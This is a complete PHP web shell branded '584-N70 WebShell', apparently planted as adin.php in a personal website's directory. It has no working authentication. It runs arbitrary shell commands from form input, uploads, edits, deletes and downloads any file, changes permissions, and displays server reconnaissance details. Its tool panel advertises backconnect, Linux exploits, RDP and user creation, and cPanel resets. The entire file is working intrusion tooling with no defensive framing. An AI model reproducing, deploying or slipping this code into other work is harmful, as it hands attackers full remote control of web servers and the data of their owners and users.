File: /home/todorterziev/domains/todorterziev.com/adin.php
<?php error_reporting(0);set_time_limit(0);date_default_timezone_set('UTC');$THEME_COLOR="#1a031d";$ACCENT_COLOR="#b967ff";$SECONDARY_COLOR="#8a2be2";$TEXT_COLOR="#f0e0ff";function isAuthorized(){return true;}function formatSize($bytes){if($bytes>=1073741824)return number_format($bytes/1073741824,2).' GB';if($bytes>=1048576)return number_format($bytes/1048576,2).' MB';if($bytes>=1024)return number_format($bytes/1024,2).' KB';return $bytes.' bytes';}session_start();if(!isset($_SESSION['nav_history'])){$_SESSION['nav_history']=[];$_SESSION['nav_index']=-1;}$currentDir=getcwd();if(isset($_GET['dir'])){$newDir=realpath($_GET['dir']);if($newDir&&is_dir($newDir)){if(end($_SESSION['nav_history'])!==$newDir){$_SESSION['nav_history'][]=$newDir;$_SESSION['nav_index']=count($_SESSION['nav_history'])-1;}$currentDir=$newDir;chdir($currentDir);}}if(isset($_GET['nav'])){if($_GET['nav']==='back'&&$_SESSION['nav_index']>0){$_SESSION['nav_index']--;$currentDir=$_SESSION['nav_history'][$_SESSION['nav_index']];chdir($currentDir);}elseif($_GET['nav']==='forward'&&$_SESSION['nav_index']<count($_SESSION['nav_history'])-1){$_SESSION['nav_index']++;$currentDir=$_SESSION['nav_history'][$_SESSION['nav_index']];chdir($currentDir);}}$serverInfo=php_uname();$currentUser=function_exists('get_current_user')?get_current_user():'unknown';$serverIP=$_SERVER['SERVER_ADDR']??'unknown';$remoteIP=$_SERVER['REMOTE_ADDR']??'unknown';$serverSoftware=$_SERVER['SERVER_SOFTWARE']??'unknown';$phpVersion=PHP_VERSION;if($_SERVER['REQUEST_METHOD']==='POST'){if(isset($_POST['create_file'])&&!empty($_POST['new_filename'])){$newFile=$_POST['new_filename'];$content=$_POST['file_content']??'';if(file_put_contents($newFile,$content)){echo'<div class="notify notify-success"><i class="fas fa-check-circle notify-icon"></i> File created: '.htmlspecialchars($newFile).'</div>';}else{echo'<div class="notify notify-error"><i class="fas fa-exclamation-circle notify-icon"></i> Failed to create file</div>';}}if(isset($_POST['create_dir'])&&!empty($_POST['new_dir'])){$newDir=$_POST['new_dir'];if(!file_exists($newDir)){if(mkdir($newDir,0777,true)){echo'<div class="notify notify-success"><i class="fas fa-check-circle notify-icon"></i> Directory created: '.htmlspecialchars($newDir).'</div>';}else{echo'<div class="notify notify-error"><i class="fas fa-exclamation-circle notify-icon"></i> Failed to create directory</div>';}}else{echo'<div class="notify notify-error"><i class="fas fa-exclamation-circle notify-icon"></i> Directory already exists</div>';}}if(isset($_FILES['uploaded_file'])){$targetFile=basename($_FILES['uploaded_file']['name']);if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'],$targetFile)){echo'<div class="notify notify-success"><i class="fas fa-check-circle notify-icon"></i> File uploaded: '.htmlspecialchars($targetFile).'</div>';}else{echo'<div class="notify notify-error"><i class="fas fa-exclamation-circle notify-icon"></i> Upload failed</div>';}}if(isset($_POST['save_file'])&&isset($_POST['edit_file'])){if(file_put_contents($_POST['edit_file'],$_POST['file_content'])){echo'<div class="notify notify-success"><i class="fas fa-check-circle notify-icon"></i> File saved successfully</div>';}else{echo'<div class="notify notify-error"><i class="fas fa-exclamation-circle notify-icon"></i> Failed to save file</div>';}}if(isset($_POST['chmod_file'])){if(chmod($_POST['chmod_file'],octdec($_POST['new_permissions']))){echo'<div class="notify notify-success"><i class="fas fa-check-circle notify-icon"></i> Permissions changed</div>';}else{echo'<div class="notify notify-error"><i class="fas fa-exclamation-circle notify-icon"></i> Failed to change permissions</div>';}}if(isset($_POST['copy_source'])&&isset($_POST['copy_dest'])){if(copy($_POST['copy_source'],$_POST['copy_dest'])){echo'<div class="notify notify-success"><i class="fas fa-check-circle notify-icon"></i> File copied successfully</div>';}else{echo'<div class="notify notify-error"><i class="fas fa-exclamation-circle notify-icon"></i> Failed to copy file</div>';}}}if(isset($_GET['action'])){$file=$_GET['file']??'';if($_GET['action']==='delete'&&$file){if(is_dir($file)){if(rmdir($file)){echo'<div class="notify notify-success"><i class="fas fa-check-circle notify-icon"></i> Directory deleted</div>';}else{echo'<div class="notify notify-error"><i class="fas fa-exclamation-circle notify-icon"></i> Failed to delete directory</div>';}}else{if(unlink($file)){echo'<div class="notify notify-success"><i class="fas fa-check-circle notify-icon"></i> File deleted</div>';}else{echo'<div class="notify notify-error"><i class="fas fa-exclamation-circle notify-icon"></i> Failed to delete file</div>';}}}if($_GET['action']==='download'&&$file){header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($file).'"');header('Content-Length: '.filesize($file));readfile($file);exit;}if($_GET['action']==='edit'&&$file){if(is_file($file)){$content=file_get_contents($file);echo'<div class="popup-overlay" style="display:block"><div class="popup-content edit-form-container"><div class="popup-header"><h3 class="popup-title"><i class="fas fa-edit"></i> Edit File: '.htmlspecialchars($file).'</h3><button class="popup-close" onclick="hideEditForm()">×</button></div><form method="post"><input type="hidden" name="edit_file" value="'.htmlspecialchars($file).'"><textarea name="file_content" rows="15" style="width:100%;font-family:monospace;">'.htmlspecialchars($content).'</textarea><div class="edit-buttons"><button type="submit" name="save_file" class="btn"><i class="fas fa-save"></i> Save Changes</button><button type="button" class="btn btn-secondary" onclick="hideEditForm()"><i class="fas fa-times"></i> Cancel</button></div></form></div></div>';}}if($_GET['action']==='chmod'&&$file){$currentPerms=substr(sprintf('%o',fileperms($file)),-4);echo'<div class="card"><div class="card-header"><h2 class="card-title"><i class="fas fa-lock"></i> Change Permissions: '.htmlspecialchars($file).'</h2></div><div>Current permissions: '.$currentPerms.'</div><form method="post"><input type="hidden" name="chmod_file" value="'.htmlspecialchars($file).'"><input type="text" name="new_permissions" placeholder="e.g., 755" required><button type="submit"><i class="fas fa-check"></i> Apply</button></form></div>';}if($_GET['action']==='copy'&&$file){echo'<div class="card"><div class="card-header"><h2 class="card-title"><i class="fas fa-copy"></i> Copy: '.htmlspecialchars($file).'</h2></div><form method="post"><input type="hidden" name="copy_source" value="'.htmlspecialchars($file).'"><input type="text" name="copy_dest" placeholder="Destination path" required><button type="submit"><i class="fas fa-clone"></i> Copy</button></form></div>';}if($_GET['action']==='openlink'&&$file){$fileUrl=(isset($_SERVER['HTTPS'])?'https':'http').'://'.$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).'/'.$file;echo'<div class="notify notify-success"><i class="fas fa-link notify-icon"></i>File URL: <a href="'.htmlspecialchars($fileUrl).'" target="_blank">'.htmlspecialchars($fileUrl).'</a></div>';}}?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>584-N70 :: Dark Purple</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"><style>*{margin:0;padding:0;box-sizing:border-box;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;}body{background:linear-gradient(135deg,#0a0010 0%,<?php echo $THEME_COLOR;?> 100%);color:<?php echo $TEXT_COLOR;?>;min-height:100vh;padding:20px;background-attachment:fixed;}.container{max-width:1400px;margin:0 auto;background:rgba(26,3,29,0.92);border:1px solid <?php echo $ACCENT_COLOR;?>;border-radius:12px;overflow:hidden;box-shadow:0 0 30px rgba(185,103,255,0.3);}header{background:rgba(26,3,29,0.98);padding:20px;border-bottom:2px solid <?php echo $SECONDARY_COLOR;?>;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:15px;}.logo{display:flex;align-items:center;gap:12px;}.logo-icon{font-size:28px;color:<?php echo $ACCENT_COLOR;?>;}.logo-text{font-size:28px;font-weight:800;background:linear-gradient(45deg,<?php echo $ACCENT_COLOR;?>,#d896ff);-webkit-background-clip:text;background-clip:text;-webkit-text-fill-color:transparent;letter-spacing:1px;}.server-info{display:flex;gap:15px;font-size:14px;flex-wrap:wrap;}.info-item{background:rgba(138,43,226,0.2);padding:6px 12px;border-radius:20px;border:1px solid rgba(185,103,255,0.3);}.tabs{display:flex;background:rgba(45,10,49,0.8);border-bottom:1px solid <?php echo $SECONDARY_COLOR;?>;padding:0 20px;flex-wrap:wrap;}.tab-btn{background:transparent;color:rgba(240,224,255,0.7);border:none;padding:15px 25px;font-size:16px;cursor:pointer;position:relative;transition:all 0.3s;outline:none;font-weight:600;}.tab-btn:hover{color:<?php echo $TEXT_COLOR;?>;background:rgba(185,103,255,0.1);}.tab-btn.active{color:<?php echo $TEXT_COLOR;?>;background:rgba(185,103,255,0.15);}.tab-btn.active::after{content:'';position:absolute;bottom:-1px;left:0;width:100%;height:3px;background:<?php echo $ACCENT_COLOR;?>;}.tab-content{display:none;padding:25px;animation:fadeIn 0.4s;}@keyframes fadeIn{from{opacity:0;}to{opacity:1;}}.tab-content.active{display:block;}.card{background:rgba(33,7,36,0.7);border:1px solid rgba(185,103,255,0.2);border-radius:10px;padding:20px;margin-bottom:25px;box-shadow:0 4px 15px rgba(0,0,0,0.3);}.card-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:20px;padding-bottom:12px;border-bottom:1px solid rgba(185,103,255,0.2);}.card-title{font-size:20px;color:<?php echo $ACCENT_COLOR;?>;display:flex;align-items:center;gap:10px;}.form-group{margin-bottom:20px;}label{display:block;margin-bottom:8px;font-weight:600;color:#d896ff;}input,textarea,select{width:100%;padding:12px 15px;background:rgba(10,0,16,0.5);border:1px solid <?php echo $SECONDARY_COLOR;?>;border-radius:8px;color:<?php echo $TEXT_COLOR;?>;font-size:16px;transition:all 0.3s;}input:focus,textarea:focus,select:focus{outline:none;border-color:<?php echo $ACCENT_COLOR;?>;box-shadow:0 0 0 3px rgba(185,103,255,0.2);}button,.btn{background:linear-gradient(45deg,<?php echo $SECONDARY_COLOR;?>,<?php echo $ACCENT_COLOR;?>);color:white;border:none;padding:12px 25px;border-radius:8px;cursor:pointer;font-size:16px;font-weight:600;transition:all 0.3s;display:inline-flex;align-items:center;gap:8px;}button:hover,.btn:hover{transform:translateY(-2px);box-shadow:0 5px 15px rgba(185,103,255,0.4);}.btn-secondary{background:rgba(138,43,226,0.2);border:1px solid <?php echo $SECONDARY_COLOR;?>;}.output{background:rgba(10,0,16,0.5);border:1px solid <?php echo $SECONDARY_COLOR;?>;border-radius:8px;padding:20px;margin-top:20px;max-height:400px;overflow:auto;white-space:pre-wrap;font-family:monospace;}pre{margin:0;line-height:1.5;}.file-actions{display:flex;gap:12px;margin-top:15px;flex-wrap:wrap;}.action-btn{padding:8px 15px;font-size:14px;}.grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(300px,1fr));gap:20px;}.terminal{background:#000;border-radius:8px;padding:15px;font-family:'Courier New',monospace;height:300px;overflow:auto;}.terminal-line{color:#0f0;line-height:1.4;}.terminal-prompt{color:<?php echo $ACCENT_COLOR;?>;}.file-list{display:grid;grid-template-columns:repeat(auto-fill,minmax(250px,1fr));gap:15px;margin-top:20px;}.file-item{background:rgba(26,3,29,0.7);border:1px solid rgba(185,103,255,0.2);border-radius:8px;padding:15px;transition:all 0.3s;}.file-item:hover{transform:translateY(-3px);border-color:<?php echo $ACCENT_COLOR;?>;box-shadow:0 5px 15px rgba(185,103,255,0.2);}.file-icon{font-size:24px;color:<?php echo $ACCENT_COLOR;?>;margin-bottom:10px;}.file-name{font-weight:600;margin-bottom:5px;word-break:break-all;}.file-info{font-size:12px;color:#b8a2cc;margin-bottom:10px;}.file-actions{display:flex;gap:8px;flex-wrap:wrap;}.file-action-btn{padding:5px 10px;font-size:12px;background:rgba(138,43,226,0.2);}.footer{text-align:center;padding:20px;border-top:1px solid rgba(185,103,255,0.2);font-size:14px;color:#b8a2cc;}.notify{padding:15px;margin-bottom:20px;border-radius:8px;display:flex;align-items:center;gap:12px;}.notify-success{background:rgba(46,204,113,0.15);border:1px solid rgba(46,204,113,0.3);}.notify-error{background:rgba(231,76,60,0.15);border:1px solid rgba(231,76,60,0.3);}.notify-icon{font-size:24px;}.tools-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(200px,1fr));gap:15px;}.tool-card{background:rgba(45,10,49,0.5);border:1px solid <?php echo $ACCENT_COLOR;?>;border-radius:8px;padding:20px;text-align:center;transition:all 0.3s;cursor:pointer;}.tool-card:hover{transform:translateY(-5px);box-shadow:0 10px 20px rgba(185,103,255,0.3);}.tool-icon{font-size:36px;color:<?php echo $ACCENT_COLOR;?>;margin-bottom:15px;}.tool-name{font-weight:600;font-size:16px;}.popup-overlay{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.7);z-index:1000;justify-content:center;align-items:center;}.popup-content{background:rgba(33,7,36,0.95);padding:25px;border-radius:12px;border:1px solid <?php echo $ACCENT_COLOR;?>;width:80%;max-width:500px;max-height:80vh;overflow-y:auto;box-shadow:0 0 30px rgba(185,103,255,0.5);}.popup-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:20px;padding-bottom:12px;border-bottom:1px solid rgba(185,103,255,0.2);}.popup-title{color:<?php echo $ACCENT_COLOR;?>;font-size:20px;}.popup-close{background:none;border:none;color:<?php echo $TEXT_COLOR;?>;font-size:24px;cursor:pointer;}.popup-nav-buttons{display:flex;gap:10px;margin-bottom:15px;flex-wrap:wrap;justify-content:center;}.popup-path-display{margin:15px 0;padding:10px;background:rgba(138,43,226,0.1);border-radius:5px;word-break:break-all;font-size:14px;}.popup-directory-list{max-height:300px;overflow-y:auto;}.popup-directory-item{padding:10px;margin:5px 0;background:rgba(138,43,226,0.1);border-radius:5px;cursor:pointer;transition:all 0.3s;display:flex;align-items:center;gap:10px;}.popup-directory-item:hover{background:rgba(185,103,255,0.2);}.compact-form input,.compact-form textarea,.compact-form button{padding:8px 12px;font-size:14px;}.compact-form textarea{height:100px;}.compact-form .btn{padding:8px 15px;}.edit-form-container{max-width:800px;margin:0 auto;}.edit-buttons{display:flex;gap:10px;margin-top:15px;}.compact-card{padding:15px;}@media (max-width:768px){.tabs{overflow-x:auto;flex-wrap:nowrap;}.grid{grid-template-columns:1fr;}.popup-content{width:95%;padding:15px;}}</style></head><body><div class="container"><header><div class="logo"><div class="logo-icon"><i class="fas fa-terminal"></i></div><div class="logo-text">584-N70</div></div><div class="server-info"><div class="info-item"><i class="fas fa-user"></i> <?php echo $currentUser; ?></div><div class="info-item"><i class="fas fa-server"></i> <?php echo $serverIP; ?></div><div class="info-item"><i class="fas fa-code"></i> PHP <?php echo $phpVersion; ?></div><div class="info-item"><i class="fas fa-fingerprint"></i> <?php echo $remoteIP; ?></div></div></header><div class="tabs"><button class="tab-btn active" data-tab="dashboard"><i class="fas fa-home"></i> Dashboard</button><button class="tab-btn" data-tab="filemanager"><i class="fas fa-folder"></i> File Manager</button><button class="tab-btn" data-tab="terminal"><i class="fas fa-terminal"></i> Terminal</button><button class="tab-btn" data-tab="tools"><i class="fas fa-tools"></i> Tools</button></div><div id="dashboard" class="tab-content active"><div class="grid"><div class="card"><div class="card-header"><h2 class="card-title"><i class="fas fa-server"></i> Server Information</h2></div><pre><?php echo $serverInfo; ?></pre><div class="server-details"><div class="info-item" style="margin-bottom:10px"><i class="fas fa-code"></i> PHP: <?php echo $phpVersion; ?></div><div class="info-item" style="margin-bottom:10px"><i class="fas fa-hdd"></i> Disk: <?php $diskTotal=@disk_total_space('/');echo $diskTotal ? formatSize($diskTotal).' Total':'N/A'; ?></div><div class="info-item" style="margin-bottom:10px"><i class="fas fa-microchip"></i> CPU: <?php echo php_uname('m'); ?></div></div></div><div class="card"><div class="card-header"><h2 class="card-title"><i class="fas fa-network-wired"></i> Network</h2></div><div class="server-details"><div class="info-item" style="margin-bottom:10px"><i class="fas fa-globe"></i> Server IP: <?php echo $serverIP; ?></div><div class="info-item" style="margin-bottom:10px"><i class="fas fa-user"></i> Your IP: <?php echo $remoteIP; ?></div><div class="info-item" style="margin-bottom:10px"><i class="fas fa-wifi"></i> Software: <?php echo $serverSoftware; ?></div></div></div></div><div class="card"><div class="card-header"><h2 class="card-title"><i class="fas fa-tachometer-alt"></i> System Status</h2></div><div class="system-status"><pre>DISABLE_FUNCTIONS: <?php echo ini_get('disable_functions')?:'none'; ?> SAFE_MODE: <?php echo ini_get('safe_mode')?:'Off'; ?> MAX_EXECUTION_TIME: <?php echo ini_get('max_execution_time'); ?> MEMORY_LIMIT: <?php echo ini_get('memory_limit'); ?></pre></div></div></div><div id="filemanager" class="tab-content"><div class="card compact-card"><div class="card-header"><h2 class="card-title"><i class="fas fa-file"></i> File Operations</h2></div><div class="form-group compact-form"><label for="newFilename"><i class="fas fa-file-medical"></i> Create New File</label><form method="post"><input type="text" name="new_filename" placeholder="File path (e.g., newfile.php)" required><textarea name="file_content" placeholder="File content" rows="3"></textarea><button type="submit" name="create_file"><i class="fas fa-plus-circle"></i> Create File</button></form></div><div class="form-group compact-form"><label for="newDir"><i class="fas fa-folder-plus"></i> Create New Directory</label><form method="post"><input type="text" name="new_dir" placeholder="Directory path (e.g., new_folder)" required><button type="submit" name="create_dir"><i class="fas fa-folder-plus"></i> Create Directory</button></form></div><div class="form-group compact-form"><label for="upload"><i class="fas fa-upload"></i> Upload File</label><form method="post" enctype="multipart/form-data"><input type="file" name="uploaded_file"><button type="submit" name="upload"><i class="fas fa-cloud-upload-alt"></i> Upload</button></form></div><button onclick="showNavPopup()" class="btn btn-secondary"><i class="fas fa-folder-tree"></i> Navigation</button></div><div class="card"><div class="card-header"><h2 class="card-title"><i class="fas fa-folder-open"></i> Current Directory</h2></div><div class="file-list"><?php if($currentDir!=='/'){$parentDir=dirname($currentDir);echo'<div class="file-item"><div class="file-icon"><i class="fas fa-level-up-alt"></i></div><div class="file-name"><a href="?dir='.urlencode($parentDir).'">.. (Parent Directory)</a></div><div class="file-info"><div>Size: [DIR]</div></div></div>';}$files=scandir($currentDir);foreach($files as $file){if($file=='.'||$file=='..')continue;$fullPath=$currentDir.DIRECTORY_SEPARATOR.$file;$isDir=is_dir($fullPath);$icon=$isDir?'fa-folder':'fa-file';$size=$isDir?'[DIR]':formatSize(filesize($fullPath));$modTime=date('Y-m-d H:i:s',filemtime($fullPath));$perms=substr(sprintf('%o',fileperms($fullPath)),-4);echo"<div class='file-item'><div class='file-icon'><i class='fas $icon'></i></div><div class='file-name'>";if($isDir){echo'<a href="?dir='.urlencode($fullPath).'">'.$file.'</a>';}else{echo $file;}echo"</div><div class='file-info'><div>Size: $size</div><div>Modified: $modTime</div><div>Permissions: $perms</div></div><div class='file-actions'><a href='?action=download&file=".urlencode($fullPath)."' class='btn action-btn file-action-btn'><i class='fas fa-download'></i></a><a href='?action=edit&file=".urlencode($fullPath)."' class='btn action-btn file-action-btn'><i class='fas fa-edit'></i></a><a href='?action=chmod&file=".urlencode($fullPath)."' class='btn action-btn file-action-btn'><i class='fas fa-lock'></i></a><a href='?action=copy&file=".urlencode($fullPath)."' class='btn action-btn file-action-btn'><i class='fas fa-copy'></i></a><a href='?action=openlink&file=".urlencode($file)."' class='btn action-btn file-action-btn'><i class='fas fa-link'></i></a><a href='?action=delete&file=".urlencode($fullPath)."' class='btn action-btn file-action-btn' onclick='return confirm(\"Delete this item?\")'><i class='fas fa-trash'></i></a></div></div>";}?></div></div></div><div id="terminal" class="tab-content"><div class="card"><div class="card-header"><h2 class="card-title"><i class="fas fa-terminal"></i> System Terminal</h2></div><form method="post"><div class="form-group"><input type="text" name="command" placeholder="Enter command (e.g., ls -la, whoami, pwd)" required></div><button type="submit"><i class="fas fa-play"></i> Execute Command</button></form><div class="output"><div class="terminal"><?php if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_POST['command'])){$cmd=$_POST['command'];echo"<div class='terminal-line'><span class='terminal-prompt'>$</span> $cmd</div>";echo"<div class='terminal-line'>".htmlspecialchars(shell_exec($cmd))."</div>";}?></div></div></div></div><div id="tools" class="tab-content"><div class="card"><div class="card-header"><h2 class="card-title"><i class="fas fa-tools"></i> Advanced Tools</h2></div><div class="tools-grid"><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-terminal"></i></div><div class="tool-name">Adminer</div></div><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-bug"></i></div><div class="tool-name">Linux Exploit</div></div><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-lock"></i></div><div class="tool-name">Lock Shell</div></div><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-file-lock"></i></div><div class="tool-name">Lock File</div></div><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-user-plus"></i></div><div class="tool-name">Create User</div></div><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-desktop"></i></div><div class="tool-name">CREATE RDP</div></div><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-envelope"></i></div><div class="tool-name">PHP Mailer</div></div><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-plug"></i></div><div class="tool-name">BACKCONNECT</div></div><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-unlock"></i></div><div class="tool-name">UNLOCK SHELL</div></div><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-fingerprint"></i></div><div class="tool-name">HASH IDENTIFIER</div></div><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-redo"></i></div><div class="tool-name">CPANEL RESET</div></div><div class="tool-card" onclick="showTab('terminal')"><div class="tool-icon"><i class="fas fa-users"></i></div><div class="tool-name">CREATE MP USER</div></div></div></div></div><div class="footer">584-N70 WebShell © 2025 | Dark Purple Theme | Server: <?php echo $serverIP; ?></div></div><div class="popup-overlay" id="navPopup"><div class="popup-content"><div class="popup-header"><h3 class="popup-title"><i class="fas fa-folder-tree"></i> Navigation</h3><button class="popup-close" onclick="hideNavPopup()">×</button></div><div class="popup-nav-buttons"><a href="?nav=back" class="btn btn-secondary"><i class="fas fa-arrow-left"></i> Back</a><a href="?nav=forward" class="btn btn-secondary"><i class="fas fa-arrow-right"></i> Forward</a><a href="?dir=<?php echo urlencode(dirname($currentDir)); ?>" class="btn btn-secondary"><i class="fas fa-level-up-alt"></i> Parent</a></div><div class="popup-path-display"><i class="fas fa-folder"></i> <?php echo htmlspecialchars($currentDir); ?></div><div class="popup-directory-list"><?php $files=scandir($currentDir);foreach($files as $file){if($file=='.'||$file=='..')continue;$fullPath=$currentDir.DIRECTORY_SEPARATOR.$file;if(is_dir($fullPath)){echo'<div class="popup-directory-item" onclick="window.location=\'?dir='.urlencode($fullPath).'\'"><i class="fas fa-folder"></i> '.htmlspecialchars($file).'</div>';}}?></div></div></div><script>function showTab(tabId){document.querySelectorAll('.tab-content').forEach(tab=>{tab.classList.remove('active');});document.querySelectorAll('.tab-btn').forEach(btn=>{btn.classList.remove('active');});document.getElementById(tabId).classList.add('active');const tabBtn=document.querySelector(`.tab-btn[data-tab="${tabId}"]`);if(tabBtn)tabBtn.classList.add('active');window.scrollTo(0,0);}document.querySelectorAll('.tab-btn').forEach(btn=>{btn.addEventListener('click',()=>{const tabId=btn.getAttribute('data-tab');showTab(tabId);window.location.hash=tabId;});});window.addEventListener('load',()=>{if(window.location.hash){const tabId=window.location.hash.substring(1);showTab(tabId);}});const terminal=document.querySelector('.terminal');if(terminal)terminal.scrollTop=terminal.scrollHeight;function showNavPopup(){document.getElementById('navPopup').style.display='flex';}function hideNavPopup(){document.getElementById('navPopup').style.display='none';}document.getElementById('navPopup').addEventListener('click',function(e){if(e.target===this){hideNavPopup();}});function hideEditForm(){window.location.href=window.location.pathname+'?dir=<?php echo urlencode($currentDir); ?>';}</script></body></html>